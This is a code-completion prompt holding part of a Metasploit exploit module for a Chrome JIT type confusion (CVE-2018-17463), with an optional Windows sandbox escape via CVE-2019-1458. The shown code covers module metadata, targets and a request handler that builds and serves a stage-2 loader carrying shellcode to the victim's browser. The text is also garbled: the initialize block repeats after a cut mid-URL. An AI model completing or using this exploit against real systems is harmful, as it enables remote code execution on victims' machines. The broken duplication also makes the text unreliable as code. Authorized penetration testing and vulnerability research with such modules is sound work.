You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: chrome_object_create.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer::BrowserExploit
  include Msf::Payload::Windows::AddrLoader_x64
  include Msf::Payload::Windows::ReflectiveDllInject_x64

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
        'Description' => %q{
          This modules exploits a type confusion in Google Chromes JIT compiler.
          The Object.create operation can be used to cause a type confusion between a
          PropertyArray and a NameDictionary.
          The payload is executed within the rwx region of the sandboxed renderer
          process.
          This module can target the renderer process (target 0), but Google
          Chrome must be launched with the --no-sandbox flag for the payload to
          execute successfully.
          Alternatively, this module can use CVE-2019-1458 to escape the renderer
          sandbox (target 1). This will only work on vulnerable versions of
          Windows (e.g Windows 7) and the exploit can only be triggered once.
          Additionally the exploit can cause the target machine to restart
          when the session is terminated. A BSOD is also likely to occur when
          the system is shut down or rebooted.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'saelo', # discovery and exploit
          'timwr', # metasploit module
        ],
        'References' => [
          ['CVE', '2018-17463'],
          ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
          ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-r
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
        'Description' => %q{
          This modules exploits a type confusion in Google Chromes JIT compiler.
          The Object.create operation can be used to cause a type confusion between a
          PropertyArray and a NameDictionary.
          The payload is executed within the rwx region of the sandboxed renderer
          process.
          This module can target the renderer process (target 0), but Google
          Chrome must be launched with the --no-sandbox flag for the payload to
          execute successfully.
          Alternatively, this module can use CVE-2019-1458 to escape the renderer
          sandbox (target 1). This will only work on vulnerable versions of
          Windows (e.g Windows 7) and the exploit can only be triggered once.
          Additionally the exploit can cause the target machine to restart
          when the session is terminated. A BSOD is also likely to occur when
          the system is shut down or rebooted.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'saelo', # discovery and exploit
          'timwr', # metasploit module
        ],
        'References' => [
          ['CVE', '2018-17463'],
          ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
          ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
          ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
        ],
        'Arch' => [ ARCH_X64 ],
        'Platform' => ['windows', 'osx', 'linux'],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Stability' => [CRASH_SAFE]
        },
        'Targets' => [
          [
            'No sandbox escape (--no-sandbox)', {}
          ],
          [
            'Windows 7 (x64) sandbox escape via CVE-2019-1458',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }
            }
          ],
        ],
        'DisclosureDate' => '2018-09-25'
      )
    )
    deregister_options('DLL')
  end

  def library_path
    File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll')
  end

  def on_request_uri(cli, request)
    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    download_payload = ''
    shellcode = payload.encoded
    uripath = datastore['URIPATH'] || get_resource
    uripath += '/' unless uripath.end_with? '/'

    if target.name.end_with?('CVE-2019-1458')
      if request.uri.to_s.end_with?('/payload')
        loader_data = stage_payload
        pidx = loader_data.index('PAYLOAD:')
        if pidx
          loader_data[pidx, payload.encoded.length] = payload.encoded
        end
        loader_data += "\0" * (0x20000 - loader_data.length)
        send_response(cli, loader_data, {
          'Content-Type' => 'application/octet-stream',
          'Cache-Control' => 'no-cache, no-store, must-revalidate',
          'Pragma' => 'no-cache', 'Expires' => '0'
        })
        print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")
      end